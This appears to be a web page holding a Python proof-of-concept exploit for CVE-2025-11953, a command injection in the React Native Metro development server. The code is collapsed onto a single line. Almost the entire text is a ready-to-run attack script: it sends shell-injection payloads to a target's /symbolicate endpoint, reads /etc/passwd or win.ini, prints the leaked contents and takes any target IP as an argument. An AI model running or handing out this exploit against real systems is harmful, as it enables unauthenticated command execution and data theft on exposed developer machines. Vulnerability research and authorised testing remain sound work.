CVE-2025-11953 React Native CLI Metro开发服务器命令注入漏洞

import requests import sys # CVE-2025-11953 PoC - Metro Development Server Command Injection # Target: React Native Community CLI Metro Server # Severity: Critical (CVSS 9.8) def exploit_metro_server(target_ip, target_port=8081): """ Exploit for CVE-2025-11953: Metro Development Server Command Injection This PoC demonstrates how an unauthenticated attacker can execute arbitrary commands on systems running Metro dev server exposed to network. WARNING: For authorized security testing only! """ # Check if server is reachable base_url = f"http://{target_ip}:{target_port}" try: response = requests.get(base_url, timeout=5) print(f"[*] Metro server is reachable at {base_url}") except requests.exceptions.RequestException as e: print(f"[!] Cannot reach Metro server: {e}") return False # Command injection payload for Linux/macOS linux_payload = "; cat /etc/passwd" # Command injection payload for Windows windows_payload = "& type C:\\Windows\\win.ini" # Try Linux payload print(f"[*] Sending command injection payload...") try: response = requests.post( f"{base_url}/symbolicate", json={"stack": [{"file": linux_payload}]}, timeout=10 ) print(f"[*] Response status: {response.status_code}") if "root:" in response.text or "daemon:" in response.text: print("[+] VULNERABLE! Command injection successful!") print(f"[*] Extracted /etc/passwd content:") print(response.text[:500]) return True except Exception as e: print(f"[!] Error: {e}") # Try Windows payload try: response = requests.post( f"{base_url}/symbolicate", json={"stack": [{"file": windows_payload}]}, timeout=10 ) if "for 16-bit app support" in response.text.lower(): print("[+] VULNERABLE! Windows command injection successful!") return True except: pass print("[-] Target may not be vulnerable or different endpoint required") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11953-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8081 exploit_metro_server(target, port)